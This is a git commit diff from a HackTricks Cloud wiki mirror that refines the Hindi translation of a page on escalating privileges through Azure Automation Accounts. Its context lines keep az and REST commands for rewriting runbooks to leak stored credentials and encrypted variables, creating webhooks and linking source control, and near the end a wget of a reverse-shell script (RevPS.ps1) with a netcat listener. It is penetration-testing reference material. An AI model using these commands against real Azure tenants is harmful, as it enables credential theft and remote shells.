mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-17 07:11:47 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -16,14 +16,14 @@
|
||||
|
||||
याद रखें कि यदि किसी तरह एक हमलावर एक हाइब्रिड वर्कर में एक मनमाना रनबुक (मनमाना कोड) निष्पादित कर सकता है, तो वह **VM के स्थान पर पिवट करेगा**। यह एक ऑन-प्रिमाइस मशीन, एक अलग क्लाउड का VPC या यहां तक कि एक Azure VM हो सकता है।
|
||||
|
||||
इसके अलावा, यदि हाइब्रिड वर्कर Azure में अन्य प्रबंधित पहचान के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचान को मेटाडेटा सेवा से एक्सेस** कर सकेगा।
|
||||
इसके अलावा, यदि हाइब्रिड वर्कर Azure में अन्य प्रबंधित पहचान के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचान को मेटाडेटा सेवा से** एक्सेस कर सकेगा।
|
||||
|
||||
> [!TIP]
|
||||
> याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा से जहां ऑटोमेशन खाता की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**).
|
||||
> याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा से जहां से ऑटोमेशन खाता की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **VM से Automation Account तक**
|
||||
|
||||
इसके अलावा, यदि कोई एक VM को समझौता करता है जहां एक ऑटोमेशन खाता स्क्रिप्ट चल रही है, तो वह **Automation Account** मेटाडेटा को ढूंढ सकेगा और VM से इसे एक्सेस करके **Managed Identities** के लिए टोकन प्राप्त कर सकेगा जो ऑटोमेशन खाता से जुड़े हैं।
|
||||
इसके अलावा, यदि कोई एक VM को समझौता करता है जहां एक ऑटोमेशन खाता स्क्रिप्ट चल रही है, तो वह **Automation Account** मेटाडेटा को ढूंढ सकेगा और VM से इसे एक्सेस करके **Managed Identities** के लिए टोकन प्राप्त कर सकेगा जो Automation Account से जुड़े हैं।
|
||||
|
||||
जैसा कि निम्नलिखित छवि में देखा जा सकता है, VM पर व्यवस्थापक पहुंच होने पर **प्रक्रिया के पर्यावरण चर** में ऑटोमेशन खाता मेटाडेटा सेवा तक पहुंचने के लिए URL और गुप्त को खोजना संभव है:
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
|
||||
संक्षेप में, ये अनुमतियाँ **Automation Account में Runbooks बनाने, संशोधित करने और चलाने** की अनुमति देती हैं, जिसका उपयोग आप **Automation Account के संदर्भ में कोड निष्पादित करने** और असाइन की गई **Managed Identities** के लिए विशेषाधिकार बढ़ाने और **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** को लीक करने के लिए कर सकते हैं।
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ऑटोमेशन खाते में एक रनबुक के कोड को संशोधित करने की अनुमति देती है:
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** Automation Account में एक Runbook के कोड को संशोधित करने की अनुमति देती है:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,7 +47,7 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
ध्यान दें कि पिछले स्क्रिप्ट का उपयोग **उपयोगकर्ता नाम और पासवर्ड** को **leak** करने और Automation Account में संग्रहीत **encrypted variable** के मान को प्राप्त करने के लिए किया जा सकता है।
|
||||
ध्यान दें कि पिछले स्क्रिप्ट का उपयोग **उपयोगकर्ता नाम और पासवर्ड** को **लीक** करने के लिए किया जा सकता है और Automation Account में संग्रहीत **एन्क्रिप्टेड वेरिएबल** का मान प्राप्त किया जा सकता है।
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** उपयोगकर्ता को Automation Account में एक Runbook प्रकाशित करने की अनुमति देती है ताकि परिवर्तन लागू किए जा सकें:
|
||||
```bash
|
||||
@@ -69,13 +69,13 @@ az automation runbook start \
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
यदि Runbooks बनाए नहीं गए हैं, या आप एक नया बनाना चाहते हैं, तो आपको इसे करने के लिए **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` और `Microsoft.Automation/automationAccounts/runbooks/write`** की आवश्यकता होगी:
|
||||
यदि रनबुक्स बनाए नहीं गए हैं, या आप एक नया बनाना चाहते हैं, तो आपको इसे करने के लिए **अनुमतियाँ `Microsoft.Resources/subscriptions/resourcegroups/read` और `Microsoft.Automation/automationAccounts/runbooks/write`** की आवश्यकता होगी:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
यह अनुमति उपयोगकर्ता को **Automation Account** को उपयोगकर्ता प्रबंधित पहचान सौंपने की अनुमति देती है:
|
||||
यह अनुमति उपयोगकर्ता को **Automation Account** में उपयोगकर्ता प्रबंधित पहचान **असाइन** करने की अनुमति देती है:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -138,7 +138,7 @@ az rest --method PUT \
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के अंदर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है।
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के भीतर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग करना संभव है।
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
@@ -149,7 +149,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` के साथ, **एक Runbook के कोड को बिना प्रकाशित किए अपडेट करना** और इसे निम्नलिखित कमांड का उपयोग करके चलाना संभव है।
|
||||
केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` के साथ, **एक Runbook का कोड अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना।
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -175,7 +175,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
यह अनुमति उपयोगकर्ता को **Automation Account** के लिए एक स्रोत नियंत्रण को कॉन्फ़िगर करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह उदाहरण के लिए Github का उपयोग करता है):
|
||||
यह अनुमति उपयोगकर्ता को Automation Account के लिए **एक स्रोत नियंत्रण कॉन्फ़िगर** करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह Github को उदाहरण के रूप में उपयोग करता है):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -190,12 +190,12 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करने पर **अधिकारों को बढ़ाना संभव** होगा।
|
||||
यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करने पर **privileges को बढ़ाना संभव होगा**।
|
||||
|
||||
इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण काम करने के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में निर्दिष्ट किया जाना चाहिए।
|
||||
इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण काम करने के लिए, इसमें एक प्रबंधित पहचान होनी चाहिए जिसमें **`Contributor`** भूमिका हो और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी को वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में निर्दिष्ट किया जाना चाहिए।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि एक बार स्रोत नियंत्रण का रिपॉजिटरी URL बनाए जाने के बाद इसे बदलना संभव नहीं है।
|
||||
> ध्यान दें कि एक बार स्रोत नियंत्रण का निर्माण हो जाने के बाद, इसके रिपॉजिटरी URL को बदलना संभव नहीं है।
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
@@ -255,7 +255,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
|
||||
- Step 6 — Host Payload and Setup Listener
|
||||
|
||||
पेलोड को होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को कैप्चर करने के लिए एक Netcat लिस्नर भी।
|
||||
पेलोड को होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को कैप्चर करने के लिए एक Netcat लिस्नर।
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
Reference in New Issue
Block a user